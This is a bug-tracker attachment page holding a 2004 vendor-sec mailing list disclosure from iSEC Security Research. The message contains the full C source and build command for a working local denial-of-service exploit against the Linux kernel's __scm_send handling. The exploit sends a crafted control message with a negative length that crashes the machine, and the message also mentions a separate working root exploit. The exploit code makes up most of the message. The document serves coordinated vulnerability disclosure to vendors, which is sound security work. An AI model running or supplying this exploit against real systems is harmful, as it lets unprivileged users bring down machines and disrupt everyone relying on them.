Attachment 26456 Details for Bug 63545

mail.txt

mail.txt (text/plain), 2.54 KB, created by Marcus Meissner on 2004-11-25 21:44:29 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Marcus Meissner

Created: 2004-11-25 21:44:29 UTC

Size: 2.54 KB

patch

obsolete

>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>Hi,
>
>below a non privileged version of your favourite setuid /sbin/halt 
>command. On SMP machines you may need to start it few times.
>
>Btw. we have a working proof-of-concept root exploit for the AF_UNIX issue
>http://lists.netsys.com/pipermail/full-disclosure/2004-November/029055.html
>
>preapre upgrades for your users.
>
>
>/*
> *	Linux kernel __scm_send DoS
> *
> *      gcc -O2 scmbang.c -o scmbang
> *
> *      Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
> *
> *      THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
> *      AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
> *      WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
> *
> */
>
>
>#define _GNU_SOURCE
>#include <stdio.h>
>#include <stdlib.h>
>#include <signal.h>
>#include <string.h>
>#include <errno.h>
>#include <unistd.h>
>#include <fcntl.h>
>#include <time.h>
>
>#include <sys/socket.h>
>#include <sys/select.h>
>#include <sys/time.h>
>
>#include <netinet/in.h>
>#include <netinet/tcp.h>
>
>#include <arpa/inet.h>
>
>
>
>static char buf[1024];
>
>
>
>void fatal(const char *msg)
>{
>	printf("\n");
>	if(!errno) {
>		fprintf(stderr, "FATAL: %s\n", msg);
>	}
>	else {
>		perror(msg);
>	}
>	printf("\n");
>	fflush(stdout);
>	fflush(stderr);
>	exit(1);
>}
>
>
>int main(void)
>{
>int s, r;
>struct sockaddr_in sin;
>struct msghdr *msg;
>struct cmsghdr *cmsg;
>
>	s=socket(AF_INET, SOCK_DGRAM, 0);
>	if(s<0)
>		fatal("socket");
>
>//	must be connected
>	memset(&sin, 0, sizeof(sin));
>	sin.sin_family = AF_INET;
>	sin.sin_port = 9999;
>	sin.sin_addr.s_addr = inet_addr("127.0.0.1");
>	r = connect(s, &sin, sizeof(sin));
>	if(r<0)
>		fatal("connect");
>
>	memset(buf, 0, sizeof(buf));
>	msg = (void*)buf;
>	msg->msg_control = (void*)(msg+1);
>
>//	bad cmsgs
>	cmsg = (void*)msg->msg_control;
>
>//	skip this one
>	cmsg->cmsg_len = sizeof(*cmsg);
>	cmsg->cmsg_level = 0xdeadbeef;
>	cmsg->cmsg_type = 12; // len after overflow on second msg
>	cmsg++;
>
>//	-12 for bang
>	cmsg->cmsg_len = -12;
>	cmsg->cmsg_level = SOL_IP;
>	msg->msg_controllen = (unsigned)(cmsg+1) - (unsigned)msg->msg_control;
>	r = sendmsg(s, msg, 0);
>	if(r<0)
>		fatal("sendmsg");
>
>	printf("\nYou lucky\n"); fflush(stdout);
>
>return 0;
>}
>
>- -- 
>Paul Starzetz
>iSEC Security Research
>http://isec.pl/
>
>-----BEGIN PGP SIGNATURE-----
>Version: GnuPG v1.0.7 (GNU/Linux)
>
>iD8DBQFBpdZOC+8U3Z5wpu4RApCBAKDOTOXGFsk9eRYx43V54uK7mL/buQCfaAgh
>weZQCIwKG4BquVLgFISWZeE=
>=yGQy
>-----END PGP SIGNATURE-----
>
>
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec

Actions: View

Attachments on bug 63545: 26456 | 26520